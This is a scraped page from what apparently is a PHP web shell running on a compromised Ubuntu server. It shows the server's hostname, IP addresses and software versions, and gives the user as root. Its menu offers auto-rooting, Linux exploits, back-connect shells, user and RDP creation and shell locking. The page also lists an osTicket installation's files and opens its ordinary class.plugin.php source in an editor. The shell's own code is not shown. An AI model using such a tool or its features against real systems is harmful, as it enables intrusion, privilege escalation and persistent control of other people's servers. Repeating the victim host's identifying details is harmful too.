Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.plugin.php
<?php require_once(INCLUDE_DIR.'/class.config.php'); class PluginConfig extends Config { var $table = CONFIG_TABLE; var $form; function __construct($name) { // Use parent constructor to place configurable information into the // central config table in a namespace of "plugin.<id>" parent::__construct("plugin.$name"); foreach ($this->getOptions() as $name => $field) { if ($this->exists($name)) $this->config[$name]->value = $field->to_php($this->get($name)); elseif ($default = $field->get('default')) $this->defaults[$name] = $default; } } /* abstract */ function getOptions() { return array(); } function hasCustomConfig() { return $this instanceof PluginCustomConfig; } /** * Retreive a Form instance for the configurable options offered in * ::getOptions */ function getForm() { if (!isset($this->form)) { $this->form = new SimpleForm($this->getOptions()); if ($_SERVER['REQUEST_METHOD'] != 'POST') $this->form->data($this->getInfo()); } return $this->form; } /** * commit * * Used in the POST request of the configuration process. The * ::getForm() method should be used to retrieve a configuration form * for this plugin. That form should be submitted via a POST request, * and this method should be called in that request. The data from the * POST request will be interpreted and will adjust the configuration of * this field * * Parameters: * errors - (OUT array) receives validation errors of the parsed * configuration form * * Returns: * (bool) true if the configuration was updated, false if there were * errors. If false, the errors were written into the received errors * array. */ function commit(&$errors=array()) { global $msg; if ($this->hasCustomConfig()) return $this->saveCustomConfig($errors); return $this->commitForm($errors); } function commitForm(&$errors=array()) { global $msg; $f = $this->getForm(); $commit = false; if ($f->isValid()) { $config = $f->getClean(); $commit = $this->pre_save($config, $errors); } $errors += $f->errors(); if ($commit && count($errors) === 0) { $dbready = array(); foreach ($config as $name => $val) { $field = $f->getField($name); try { $dbready[$name] = $field->to_database($val); } catch (FieldUnchanged $e) { // Don't save the field value continue; } } if ($this->updateAll($dbready)) { if (!$msg) $msg = 'Successfully updated configuration'; return true; } } return false; } /** * Pre-save hook to check configuration for errors (other than obvious * validation errors) prior to saving. Add an error to the errors list * or return boolean FALSE if the config commit should be aborted. */ function pre_save($config, &$errors) { return true; } /** * Remove all configuration for this plugin -- used when the plugin is * uninstalled */ function purge() { $sql = 'DELETE FROM '.$this->table .' WHERE `namespace`='.db_input($this->getNamespace()); return (db_query($sql) && db_affected_rows()); } } /** * Interface: PluginCustomConfig * * Allows a plugin to specify custom configuration pages. If the * configuration cannot be suited by a single page, single form, then * the plugin can use the ::renderCustomConfig() method to trigger * rendering the page, and use ::saveCustomConfig() to trigger * validating and saving the custom configuration. */ interface PluginCustomConfig { function renderCustomConfig(); function saveCustomConfig(); } class PluginManager { static private $plugin_info = array(); static private $plugin_list = array(); /** * boostrap * * Used to bootstrap the plugin subsystem and initialize all the plugins * currently enabled. */ function bootstrap() { foreach ($this->allActive() as $p) $p->bootstrap(); } /** * allActive * * Scans the plugin registry to find all installed and active plugins. * Those plugins are included, instanciated, and cached in a list. * * Returns: * Array<Plugin> a cached list of instanciated plugins for all installed * and active plugins */ static function allInstalled() { if (static::$plugin_list) return static::$plugin_list; $sql = 'SELECT * FROM '.PLUGIN_TABLE; if (!($res = db_query($sql))) return static::$plugin_list; while ($ht = db_fetch_array($res)) { // XXX: Only read active plugins here. allInfos() will // read all plugins $info = static::getInfoForPath( INCLUDE_DIR . $ht['install_path'], $ht['isphar']); list($path, $class) = explode(':', $info['plugin']); if (!$class) $class = $path; elseif ($ht['isphar']) @include_once('phar://' . INCLUDE_DIR . $ht['install_path'] . '/' . $path); else @include_once(INCLUDE_DIR . $ht['install_path'] . '/' . $path); if (!class_exists($class)) { $class = 'DefunctPlugin'; $ht['isactive'] = false; $info = array('name' => $ht['name'] . ' '. __('(defunct — missing)')); } if ($ht['isactive']) { static::$plugin_list[$ht['install_path']] = new $class($ht['id']); } else { // Get instance without calling the constructor. Thanks // http://stackoverflow.com/a/2556089 $a = unserialize( sprintf( 'O:%d:"%s":0:{}', strlen($class), $class ) ); // Simulate __construct() and load() $a->id = $ht['id']; $a->ht = $ht; $a->info = $info; static::$plugin_list[$ht['install_path']] = &$a; unset($a); } } return static::$plugin_list; } static function getPluginByName($name, $active=false) { $sql = sprintf('SELECT * FROM %s WHERE name="%s"', PLUGIN_TABLE, $name); if ($active) $sql = sprintf('%s AND isactive = true', $sql); if (!($res = db_query($sql))) return false; $ht = db_fetch_array($res); return $ht['name']; } static function auditPlugin() { return self::getPluginByName('Help Desk Audit', true); } static function allActive() { $plugins = array(); foreach (static::allInstalled() as $p) if ($p instanceof Plugin && $p->isActive()) $plugins[] = $p; return $plugins; } function throwException($errno, $errstr) { throw new RuntimeException($errstr); } /** * allInfos * * Scans the plugin folders for installed plugins. For each one, the * plugin.php file is included and the info array returned in added to * the list returned. * * Returns: * Information about all available plugins. The registry will have to be * queried to determine if the plugin is installed */ static function allInfos() { foreach (glob(INCLUDE_DIR . 'plugins/*', GLOB_NOSORT|GLOB_BRACE) as $p) { $is_phar = false; if (substr($p, strlen($p) - 5) == '.phar' && class_exists('Phar') && Phar::isValidPharFilename($p)) { try { // When public key is invalid, openssl throws a // 'supplied key param cannot be coerced into a public key' warning // and phar ignores sig verification. // We need to protect from that by catching the warning // Thanks, https://github.com/koto/phar-util set_error_handler(array('self', 'throwException')); $ph = new Phar($p); restore_error_handler(); // Verify the signature $ph->getSignature(); $p = 'phar://' . $p; $is_phar = true; } catch (UnexpectedValueException $e) { // Cannot find signature file } catch (RuntimeException $e) { // Invalid signature file } } if (!is_file($p . '/plugin.php')) // Invalid plugin -- must define "/plugin.php" continue; // Cache the info into static::$plugin_info static::getInfoForPath($p, $is_phar); } return static::$plugin_info; } static function getInfoForPath($path, $is_phar=false) { static $defaults = array( 'include' => 'include/', 'stream' => false, ); $install_path = str_replace(INCLUDE_DIR, '', $path); $install_path = str_replace('phar://', '', $install_path); if ($is_phar && substr($path, 0, 7) != 'phar://') $path = 'phar://' . $path; if (!isset(static::$plugin_info[$install_path])) { // plugin.php is require to return an array of informaiton about // the plugin. if (!file_exists($path . '/plugin.php')) return false; $info = array_merge($defaults, (@include $path . '/plugin.php')); $info['install_path'] = $install_path; // XXX: Ensure 'id' key isset static::$plugin_info[$install_path] = $info; } return static::$plugin_info[$install_path]; } function getInstance($path) { static $instances = array(); if (!isset($instances[$path]) && ($ps = static::allInstalled()) && ($ht = $ps[$path])) { $info = static::getInfoForPath($path); // $ht may be the plugin instance if ($ht instanceof Plugin) return $ht; // Usually this happens when the plugin is being enabled list($path, $class) = explode(':', $info['plugin']); if (!$class) $class = $path; else require_once(INCLUDE_DIR . $info['install_path'] . '/' . $path); $instances[$path] = new $class($ht['id']); } return $instances[$path]; } /** * install * * Used to install a plugin that is in-place on the filesystem, but not * registered in the plugin registry -- the %plugin table. */ function install($path) { $is_phar = substr($path, strlen($path) - 5) == '.phar'; if (!($info = $this->getInfoForPath(INCLUDE_DIR . $path, $is_phar))) return false; $sql='INSERT INTO '.PLUGIN_TABLE.' SET installed=NOW() ' .', install_path='.db_input($path) .', name='.db_input($info['name']) .', isphar='.db_input($is_phar); if (!db_query($sql) || !db_affected_rows()) return false; static::clearCache(); return true; } static function clearCache() { static::$plugin_list = array(); } } /** * Class: Plugin (abstract) * * Base class for plugins. Plugins should inherit from this class and define * the useful pieces of the */ abstract class Plugin { /** * Configuration manager for the plugin. Should be the name of a class * that inherits from PluginConfig. This is abstract and must be defined * by the plugin subclass. */ var $config_class = null; var $id; var $info; const VERIFIED = 1; // Thumbs up const VERIFY_EXT_MISSING = 2; // PHP extension missing const VERIFY_FAILED = 3; // Bad signature data const VERIFY_ERROR = 4; // Unable to verify (unexpected error) const VERIFY_NO_KEY = 5; // Public key missing const VERIFY_DNS_PASS = 6; // DNS check passes, cannot verify sig static $verify_domain = 'updates.osticket.com'; function __construct($id) { $this->id = $id; $this->load(); } function load() { $sql = 'SELECT * FROM '.PLUGIN_TABLE.' WHERE `id`='.db_input($this->id); if (($res = db_query($sql)) && ($ht=db_fetch_array($res))) $this->ht = $ht; $this->info = PluginManager::getInfoForPath($this->ht['install_path'], $this->isPhar()); } function getId() { return $this->id; } function getName() { return $this->__($this->info['name']); } function isActive() { return $this->ht['isactive']; } function isPhar() { return $this->ht['isphar']; } function getInstallDate() { return $this->ht['installed']; } function getInstallPath() { return $this->ht['install_path']; } function getIncludePath() { return realpath(INCLUDE_DIR . $this->info['install_path'] . '/' . $this->info['include_path']) . '/'; } /** * Main interface for plugins. Called at the beginning of every request * for each installed plugin. Plugins should register functionality and * connect to signals, etc. */ abstract function bootstrap(); /** * uninstall * * Removes the plugin from the plugin registry. The files remain on the * filesystem which would allow the plugin to be reinstalled. The * configuration for the plugin is also removed. If the plugin is * reinstalled, it will have to be reconfigured. */ function uninstall(&$errors) { if ($this->pre_uninstall($errors) === false) return false; $sql = 'DELETE FROM '.PLUGIN_TABLE .' WHERE id='.db_input($this->getId()); PluginManager::clearCache(); if (!db_query($sql) || !db_affected_rows()) return false; if ($config = $this->getConfig()) $config->purge(); return true; } /** * pre_uninstall * * Hook function to veto the uninstallation request. Return boolean * FALSE if the uninstall operation should be aborted. */ function pre_uninstall(&$errors) { return true; } function enable() { $sql = 'UPDATE '.PLUGIN_TABLE .' SET isactive=1 WHERE id='.db_input($this->getId()); PluginManager::clearCache(); return (db_query($sql) && db_affected_rows()); } function disable() { $sql = 'UPDATE '.PLUGIN_TABLE .' SET isactive=0 WHERE id='.db_input($this->getId()); PluginManager::clearCache(); return (db_query($sql) && db_affected_rows()); } /** * upgrade * * Upgrade the plugin. This is used to migrate the database pieces of * the plugin using the database migration stream packaged with the * plugin. */ function upgrade() { } function getConfig() { static $config = null; if ($config === null && $this->config_class) $config = new $this->config_class($this->getId()); return $config; } function source($what) { $what = str_replace('\\', '/', $what); if ($what && $what[0] != '/') $what = $this->getIncludePath() . $what; include_once $what; } static function lookup($id) { //Assuming local ID is the only lookup used! $path = false; if ($id && is_numeric($id)) { $sql = 'SELECT install_path FROM '.PLUGIN_TABLE .' WHERE id='.db_input($id); $path = db_result(db_query($sql)); } if ($path) return PluginManager::getInstance($path); } /** * Function: isVerified * * This will help verify the content, integrity, oversight, and origin * of plugins, language packs and other modules distributed for * osTicket. * * This idea is that the signature of the PHAR file will be registered * in DNS, for instance, * `7afc8bf80b0555bed88823306744258d6030f0d9.updates.osticket.com`, for * a PHAR file with a SHA1 signature of * `7afc8bf80b0555bed88823306744258d6030f0d9 `, which will resolve to a * string like the following: * ``` * "v=1; i=storage:s3; s=MEUCIFw6A489eX4Oq17BflxCZ8+MH6miNjtcpScUoKDjmb * lsAiEAjiBo9FzYtV3WQtW6sbhPlJXcoPpDfYyQB+BFVBMps4c=; V=0.1;" * ``` * Which is a simple semicolon separated key-value pair string with the * following keys * * Key | Description * :----|:--------------------------------------------------- * v | Algorithm version * i | Plugin 'id' registered in plugin.php['id'] * V | Plugin 'version' registered in plugin.php['version'] * s | OpenSSL signature of the PHAR SHA1 signature using a * | private key (specified on the command line) * * The public key, which will be distributed with osTicket, can be used * to verify the signature of the PHAR file from the data received from * DNS. * * Parameters: * $phar - (string) filename of phar file to verify * * Returns: * (int) - * Plugin::VERIFIED upon success * Plugin::VERIFY_DNS_PASS if found in DNS but cannot verify sig * Plugin::VERIFY_NO_KEY if public key not found in include/plugins * Plugin::VERIFY_FAILED if the plugin fails validation * Plugin::VERIFY_EXT_MISSING if a PHP extension is required * Plugin::VERIFY_ERROR if an unexpected error occurred */ static function isVerified($phar) { static $pubkey = null; if (!class_exists('Phar') || !extension_loaded('openssl')) return self::VERIFY_EXT_MISSING; elseif (!file_exists(INCLUDE_DIR . '/plugins/updates.pem')) return self::VERIFY_NO_KEY; if (!isset($pubkey)) { $pubkey = openssl_pkey_get_public( file_get_contents(INCLUDE_DIR . 'plugins/updates.pem')); } if (!$pubkey) { return self::VERIFY_ERROR; } $P = new Phar($phar); $sig = $P->getSignature(); $info = array(); $ignored = null; if ($r = dns_get_record($sig['hash'].'.'.self::$verify_domain.'.', DNS_TXT, $ignored, $ignored, true) ) { foreach ($r as $rec) { foreach (explode(';', $rec['txt']) as $kv) { list($k, $v) = explode('=', trim($kv)); $info[$k] = trim($v); } if ($info['v'] && $info['s']) break; } } if (is_array($info) && isset($info['v'])) { switch ($info['v']) { case '1': if (!($signature = base64_decode($info['s']))) return self::VERIFY_FAILED; elseif (!function_exists('openssl_verify')) return self::VERIFY_DNS_PASS; $codes = array( -1 => self::VERIFY_ERROR, 0 => self::VERIFY_FAILED, 1 => self::VERIFIED, ); $result = openssl_verify($sig['hash'], $signature, $pubkey, OPENSSL_ALGO_SHA1); return $codes[$result]; } } return self::VERIFY_FAILED; } static function showVerificationBadge($phar) { switch (self::isVerified($phar)) { case self::VERIFIED: $show_lock = true; case self::VERIFY_DNS_PASS: ?> <span class="label label-verified" title="<?php if ($show_lock) echo sprintf(__('Verified by %s'), self::$verify_domain); ?>"> <?php if ($show_lock) echo '<i class="icon icon-lock"></i>'; ?> <?php echo $show_lock ? __('Verified') : __('Registered'); ?></span> <?php break; case self::VERIFY_FAILED: ?> <span class="label label-danger" title="<?php echo __('The originator of this extension cannot be verified'); ?>"><i class="icon icon-warning-sign"></i></span> <?php break; } } /** * Function: __ * * Translate a single string (without plural alternatives) from the * langauge pack installed in this plugin. The domain is auto-configured * and detected from the plugin install path. */ function __($msgid) { if (!isset($this->translation)) { // Detect the domain from the plugin install-path $groups = array(); preg_match('`plugins/(\w+)(?:.phar)?`', $this->getInstallPath(), $groups); $domain = $groups[1]; if (!$domain) return $msgid; $this->translation = self::translate($domain); } list($__, $_N) = $this->translation; return $__($msgid); } // Domain-specific translations (plugins) /** * Function: translate * * Convenience function to setup translation functions for other * domains. This is of greatest benefit for plugins. This will return * two functions to perform the translations. The first will translate a * single string, the second will translate a plural string. * * Parameters: * $domain - (string) text domain. The location of the MO.php file * will be (path)/LC_MESSAGES/(locale)/(domain).mo.php. The (path) * can be set via the $options parameter * $options - (array<string:mixed>) Extra options for the setup * "path" - (string) path to the folder containing the LC_MESSAGES * folder. The (locale) setting is set externally respective to * the user. If this is not set, the directory of the caller is * assumed, plus '/i18n'. This is geared for plugins to be * built with i18n content inside the '/i18n/' folder. * * Returns: * Translation utility functions which mimic the __() and _N() * functions. Note that two functions are returned. Capture them with a * PHP list() construct. * * Caveats: * When desiging plugins which might be installed in versions of * osTicket which don't provide this function, use this compatibility * interface: * * // Provide compatibility function for versions of osTicket prior to * // translation support (v1.9.4) * function translate($domain) { * if (!method_exists('Plugin', 'translate')) { * return array( * function($x) { return $x; }, * function($x, $y, $n) { return $n != 1 ? $y : $x; }, * ); * } * return Plugin::translate($domain); * } */ static function translate($domain, $options=array()) { // Configure the path for the domain. If no $path = @$options['path']; if (!$path) { # Fetch the working path of the caller $bt = debug_backtrace(false); $path = dirname($bt[0]["file"]) . '/i18n'; } $path = rtrim($path, '/') . '/'; $D = TextDomain::lookup($domain); $D->setPath($path); $trans = $D->getTranslation(); return array( // __() function($msgid) use ($trans) { return $trans->translate($msgid); }, // _N() function($singular, $plural, $n) use ($trans) { return $trans->ngettext($singular, $plural, $n); }, ); } } class DefunctPlugin extends Plugin { function bootstrap() {} function enable() { return false; } } ?>
Close